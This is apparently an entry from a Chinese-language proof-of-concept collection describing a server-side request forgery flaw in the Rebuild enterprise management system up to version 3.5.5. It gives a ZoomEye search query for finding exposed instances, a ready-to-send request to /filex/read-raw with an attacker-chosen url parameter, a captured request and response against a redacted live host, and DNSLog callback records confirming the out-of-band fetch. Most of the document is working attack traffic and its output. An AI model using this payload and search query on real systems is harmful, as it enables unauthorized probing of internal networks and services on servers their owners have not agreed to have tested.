R11-1Rebuild-企业管理系统-SSRF

漏洞描述：

Rebuild 3.5.5 版本存在安全漏洞，该漏洞源于组件 HTTP Request Handler 的 readRawText 函数的 url 参数存在服务器端请求伪造漏洞。

影响版本：

```
Ruifang-Tech Rebuild <= 3.5.5
```

网站图片：

网络测绘：

fofa语法：

钟馗之眼：app:"rebuild"

漏洞复现：

payload：

```
GET /filex/read-raw?url=http://dnslog.cn&cut=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图:

Request

```
GET /filex/read-raw?url=http://6666666.t7sofu.dnslog.cn&cut=1 HTTP/1.1
Host: [redacted]:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

Responses 3766bytes / 2385ms

```
HTTP/1.1 200
X-RB-Server: JIeAO8kYYhRUd7Eq6avr
Set-Cookie: RBSESSION=47BD1C666B34
Date: Wed, 07 Feb 2024 13:05:56 G
Connection: close
Content-Length: 3766

<!DOCTYPE html><html><head><meta
content="width=device-width,initia
title><meta name=keywords content=
享><meta name=description content=
IT网络资源,涵盖JAVA,架构师,大数据
javascript,php,vue,html,css,Andro
rel=canonical href=https://www.bie
property=og:type content=website><
享"><meta property=og:description
新最前沿IT网络资源,涵盖JAVA,架构师
javascript,php,vue,html,css,Andro
property=og:url content=https://ww
content=biemo.com><meta name=twitt
的网站,专注于最新最前沿IT网络资源,
java,c/c++,javascript,php,vue,htm
!"><meta name=twitter:title conter
沿IT网络资源,涵盖JAVA,架构师,大数
javascript,php,vue,html,css,Andro
id=env>window._env_ = { NODE_ENV:
PICTURE_API: "https://gateway.bien
com/mogu-web", SEARCH_API: "https:
biemo.com", SMS_API: "https://gate
biemo.com/mogu-pay", PAY_API: "htt
"https://picture.biemo.com/blog/ac
```

DNSLog 使用 Yakit 自带的 DNSLog 反连服务

内置 | 自定义 内置DNSLog: dnslog.cn 使用本地: 生成一个可用域名

当前激活域名为
t7sofu.dnslog.cn

只看A记录: 自动刷新记录:

域名	DNS类型	远端IP
_.t7sofu.dnslog.cn	A	42.192.197.192
6666666.t7sofu.dnslog.cn	A	42.192.197.192
.t7sofu.dnslog.cn	A	42.192.197.192
_.t7sofu.dnslog.cn	A	42.192.197.192